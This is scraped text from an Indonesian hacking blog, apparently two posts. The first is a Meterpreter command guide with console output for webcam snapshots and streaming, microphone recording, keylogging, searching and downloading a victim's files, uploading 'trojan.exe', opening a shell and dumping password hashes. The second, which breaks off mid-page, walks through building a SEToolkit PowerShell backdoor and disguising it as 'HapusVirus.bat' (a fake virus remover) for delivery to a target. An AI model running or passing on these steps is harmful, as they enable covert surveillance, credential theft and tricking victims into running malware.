style="color: lime;">meterpreter > webcam_list 1: ManyCam Virtual Webcam 2: HP Webcam-50 meterpreter > </span></span></pre> <b><span style="font-size: large;">webcam_snap</span></b><br /> Perintah ini digunakan untuk mengambil gambar dari webcam</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > webcam_snap </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b style="color: lime;">[+]</b><span style="color: lime;"> Got frame </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopped Webcam shot saved to: /root/PZegxMLF.jpeg meterpreter > </span></span> </pre> <div> <b><span style="font-size: large;">webcam_stream</span></b></div> <div> Perintah ini digunakan untuk streaming secara langsung dari webcam target</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > webcam_stream </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Preparing player... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Opening player at: GHqixCls.html </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Streaming... </span></span></span></span></pre> <b><span style="font-size: large;">record_mic</span></b><br /> Perintah ini digunkan untuk mengambil rekaman suara dari microphone target, tambahkan opsi -d utuk menentukan interfal</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > record_mic -d 10 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopped Audio saved to: /root/UqxrMpys.wav meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">run keylogrecorder</span></b></div> <div> Perintah ini digunakan untuk merekam aktifitas keyboard pada sistem target, tekan Ctrl+C untuke berhenti</div> <span style="font-size: large;"></span><br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > run keylogrecorder </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting the keystroke sniffer... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.1.103_20160229.0841.txt </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Recording ^C[*] Saving last few keystrokes </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Interrupt </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Stopping keystroke sniffer... meterpreter > </span></span></pre> </div> <span style="font-size: large;"><b>geteuid</b></span><br /> perintah ini digunakan untuk melihat user server yang sedang berjalan<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > getuid Server username: Samsung\Samsung meterpreter > </span></span></pre> <b><span style="font-size: large;">getsid</span></b><br /> Perintah ini digunakan untuk mendapatkan SID dari user server yang sedang berjalan<br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > getsid Server SID: S-1-5-21-341670393-1752858153-726497755-1000 meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">Search</span></b></div> <div> <div> Perintah untuk mencari sebuah file yang ada di sistem target, gunakan opsi -f untuk mencari file dengan format tertentu</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > search -f .pdf Found 50 results... </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\CV.PDF (136731 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">HowTo.pdf (570012 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf (149072 bytes)</span> <span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> </span></span><span style="color: lime; font-size: 11.7px; line-height: 19px;">C:\Users\Samsung\Documents</span><span style="color: lime; font-size: 11.7px; line-height: 19px;">\TUTORIAL VERIFIKASI PIN ADSENSE.pdf (1170899 bytes)</span></pre> </div> </div> <span style="font-size: large;">'</span><b style="font-size: x-large;">pwd</b><span style="font-size: large;">' dan '</span><b style="font-size: x-large;">cd</b><span style="font-size: large;">'</span><br /> <div> <b>pwd </b>digunakan untuk melihat dimana letak kita berada di direktory target, dan <b>cd </b>untuk masuk ke sebuah direktory</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > pwd C:\ meterpreter > cd Users meterpreter > pwd C:\Users meterpreter > </span></span></pre> <span style="font-size: large;"><b>ls</b> </span><br /> Sama dengan perintah pada terminal linux, ini digunakan untuk melihat list dari suatu direktory<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"><span style="font-size: 11.7px; line-height: 19px;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ls Listing: C:\Users\Samsung\Documents ====================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2016-02-09 17:41:36 +0700 Bluetooth Folder 100666/rw-rw-rw- 136731 fil 2015-11-24 03:55:43 +0700 CV.PDF 100666/rw-rw-rw- 1992 fil 2016-02-03 17:26:41 +0700 Default.rdp 100666/rw-rw-rw- 73216 fil 2016-01-16 17:22:29 +0700 Drawing1 FLOW EGA.vsd 100666/rw-rw-rw- 570012 fil 2015-12-02 17:39:08 +0700 HowTo.pdf 100666/rw-rw-rw- 1170899 fil 2015-12-14 19:50:58 +0700 TUTORIAL VERIFIKASI PIN ADSENSE.pdf 100666/rw-rw-rw- 8251365 fil 2015-11-23 14:11:54 +0700 Untitled.pdf 40777/rwxrwxrwx 0 dir 2015-11-23 11:09:39 +0700 penggajian_Taruna_Karya 100666/rw-rw-rw- 149072 fil 2015-12-06 21:53:04 +0700 pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf 100666/rw-rw-rw- 20505 fil 2016-01-12 14:56:55 +0700 recruitingindo511.docx meterpreter > </span></span></span></span></pre> <span style="font-size: large;"><b>download</b></span><br /> Perintah ini digunakan untuk mengambil file dari sistem target<br /> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > download Default.rdp /root/Desktop/ </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> downloading: Default.rdp -> /root/Desktop/Default.rdp </span><span style="color: #3d85c6;"><b>[*]</b></span><span style="color: lime;"> download : Default.rdp -> /root/Desktop/Default.rdp meterpreter > </span></span> </pre> <div> <b>/root/Desktop </b>merupakan letak dimana file akan disimpan</div> <div> <br /></div> <div> <b><span style="font-size: large;">upload</span></b></div> <div> <div> Perintah ini digunakan untuk mengirim sebuah file ke sistem target, dengan direktory yang ditetukan</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;"><span style="color: lime;">meterpreter > upload trojan.exe c:\\windows\\system32 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> uploading : trojan.exe -> c:\windows\system32 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> uploaded : trojan.exe -> c:\windows\system32\trojan.exe meterpreter ></span></span></span><span style="background-color: transparent;"> </span></pre> </div> </div> </div> <div> <div> <b><span style="font-size: large;">cat</span></b><br /> Sama seperti perintah umumnya pada linux, ini digunakan untuk menampilkan isi dari sebuah file <br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > cat Usage: cat file meterpreter > cat Anherr.txt Perintah Perintah dasar Meterpreter by Anherr Blog's meterpreter > </span></span></pre> <b><span style="font-size: large;">mkdir</span></b><br /> <div> Perintah ini digunakan untuk membuat sebuah folder</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > mkdir Anherr Creating directory: Anherr meterpreter > </span></span> </pre> </div> </div> <div> <div> <b>Kita juga dapat menggunkan peritah </b><br /> <b>cp</b> untuk mengcopy file<br /> <b>rm</b> untuk menghapus file<br /> <b>rmdir</b> untuk menghapus suatu direktory <br /> <br /> <b><span style="font-size: large;">ipconfig</span></b><br /> Perintah ini digunakan untuk meliha ip target secara keseluruhan</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Qualcomm Atheros AR9485 802.11b/g/n WiFi Adapter Hardware MAC : 55:7d:68:15:dd:ef MTU : 1500 IPv4 Address : 192.168.1.103 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::cdb0:307a:4cdc:71e4 IPv6 Netmask : ffff:ffff:ffff:ffff::</span></span> </pre> </div> </div> <div> <b><span style="font-size: large;">netstat</span></b></div> </div> <div> Perintah ini digunakan untuk menampilkan koneklsi jaringan pada sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 808/svchost.exe tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 480/wininit.exe tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 904/svchost.exe tcp 0.0.0.0:49154 0.0.0.0:* LISTEN 0 0 984/svchost.exe tcp 0.0.0.0:49155 0.0.0.0:* LISTEN 0 0 608/services.exe</span></pre> <b><span style="font-size: large;">ps</span></b><br /> Perintah ini digunakan untuk meliha list prosses yang sedang berjalan pada target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System 276 smss.exe 376 Ath_CoexAgent.exe 2968 taskhost.exe x86 1 Samsung\Samsung C:\Windows\system32\taskhost.exe 2976 dwm.exe x86 1 Samsung\Samsung C:\Windows\system32\Dwm.exe 3024 explorer.exe x86 1 Samsung\Samsung C:\Windows\Explorer.EXE</span></span></pre> <div> <b><span style="font-size: large;">migrate</span></b></div> Perintah ini digunakan untuk berpindah ke prosses yang lain</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > migrate 3024 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Migrating from 1192 to 3024... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Migration completed successfully. meterpreter > </span></span></pre> </div> <div> <div> <b><span style="font-size: large;">execute</span></b></div> <div> Perintah untuk mengeksekusi, contoh untuk menjalankan cmd.exe</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > execute -f cmd.exe Process 316 created. meterpreter > </span></span></pre> </div> <div> <b><span style="font-size: large;">shell</span></b></div> <div> <div> Perintah ini digunakan untuk mendapatkan shell dari sistem target, layaknya Command Prompt</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">meterpreter > shell Process 3456 created. Channel 3 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32></span> </pre> </div> </div> <div> <b><span style="font-size: large;">hashdump</span></b></div> <div> <div> Perintah ini digunakan untuk dump database SAM</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > run post/windows/gather/hashdump </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Obtaining the boot key... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Obtaining the user list and keys... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Decrypting user keys... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Dumping password hashes... Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3::: dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9::: victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\></span></span></pre> </div> </div> <div> <div style="text-align: justify;"> Itulah beberapa contoh dari perintah-perintah meterpreter di metasploit, sebetulnya masih ada lagi namun akan banyak jika ditulis semua, hehe , silahkan ketik <b>help </b>pada meterpreter untuk melihat semua list yang ada<br /> Cukup itu dulu yang dapat saya bagikan kali ini , semoga bermanfaat</div> sumber <a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/" rel="nofollow" target="_blank">www.offensive-security.com</a></div> </div>

Perintah - Perintah dasar Meterpreter Metasploit

Pada postingan kali ini saya akan membagikan beberapa perintah-perintah yang dapat dijalankan ketika kita sudah mendapatkan sesi meterpret...

Baca selengkapnya »

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

<div style="text-align: justify;"> Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiinering Toolkit dan Metasploit, dalam kasus ini Social Engiinering Toolkit hanya digunakan untuk pembuatan backdoor saja, dan Metasploit tetap sebagai tools utamanya, cara ini bukan hanya dapat digunakan di Kali Linux saja namun bisa juga menggunakan distro pentest yang lainnya asal ada metasploit dan setoolkit, baiklah langsung saja ke pembahasan.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Pertama buka terminal kali linux kalian, lalu jalankan Social Engiinering Toolkit denga perintah</div> <blockquote class="tr_bq" style="text-align: justify;"> setoolkit</blockquote> Nanti akan ditampilkan beberapa menu dari Setoo<span style="text-align: justify;">Social Engiinering Toolkit,</span><br /> Lalu pilih yang nomor <b>1) Social-Engineering Attacks</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s1600/Social-Engineering-Attacks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="1) Social-Engineering Attacks" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s320/Social-Engineering-Attacks.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Selanjutnya pilih nomor <b>9) Powershell Attck Vectors</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s1600/Powershell-Attack-Vectors.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="9) Powershell Attck Vectors" border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s320/Powershell-Attack-Vectors.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> Pada pilihan selanjutnya pilih nomor <b>1)</b> <b>Powershell Alphanumeric Shellcode Injector</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s1600/Powershell-Alphanumeric-Shellcode-Injector.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="1) Powershell Alphanumeric Shellcode Injector" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s320/Powershell-Alphanumeric-Shellcode-Injector.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> <div style="text-align: justify;"> Selanjutnya kita akan diminta untuk mengisikan IP Addres untuk listener payload, Jadi isikan IP kalian, lalu isikan port juga, disini saya gunakan port default yang sering digunakan yaitu <b>443</b>, lalu Pada pertanyaan <b>Do you want to start the listener now [yes/no]:</b> pilih saja yang ketikkan <b>no</b>.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s1600/IP-address-for-the-payload-listener.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Masukkan IP dan PORT linstener" border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s320/IP-address-for-the-payload-listener.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> </div> <div style="text-align: left;"> <div style="text-align: justify;"> Screenshot di atas tertulis bahwa payload tersimpan pada folder <b>/root/.set/report/powershell/</b>, disana terdapat file dengan nama <b>x86_powershell_injection.txt</b>, itu merupakan backdoor yang akan digunakan, kemudian rename file tersebut dengan format <b>.bat</b> (biasanya folder .set ini terhidden untuk memunculkannya tekan CTRL+H)</div> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s1600/x86_powershell_injection.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="rename payload" border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s320/x86_powershell_injection.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> <div style="text-align: justify;"> Jika tidak ingin ribet kita dapat mengcopy dan rename dengan menggunakan perintah terminal seperti di bawah ini </div> <blockquote class="tr_bq"> mv /root/.set/powershell/<span style="text-align: justify;">x86_powershell_injection.txt <b>/root/Desktop/HapusVirus.bat</b></span></blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s1600/HapusVirus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mv /root/.set/powershell/x86_powershell_injection.txt /root/Desktop/HapusVirus.bat" border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s320/HapusVirus.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div> <br /> <div style="text-align: justify;"> Nanti file tersebut akan tersimpan di  <b>/root/Desktop</b> dengan nama <b>HapusVirus.bat</b> (bisa kalian sesuaikan sendiri namanya)</div> <br /> <div style="text-align: justify;"> Tahap selanjutnya adalah mengirimkan backdoor tersebut ke komputer target, namun sebelumnya kita buat terlebih dahulu exploitnya.</div> <div> <br /></div> Sebelumnya jalankan service postgresql, dengan perintah<br /> <blockquote class="tr_bq"> /etc/init.d/postrgresql start</blockquote> <div style="text-align: justify;"> Bagi yang baru pertama kali menjalankan metasploit, lanjutkan dengan perintah dibawah ini untuk membuat databse msf</div> <blockquote class="tr_bq"> msfdb init</blockquote> <div style="text-align: justify;"> Bagi yang sudah pernah membuatnya, bisa langsung menjalankan postgresql lalu dilanjutkan dengan membuka msfconsole</div> <blockquote class="tr_bq"> msfconsole</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a 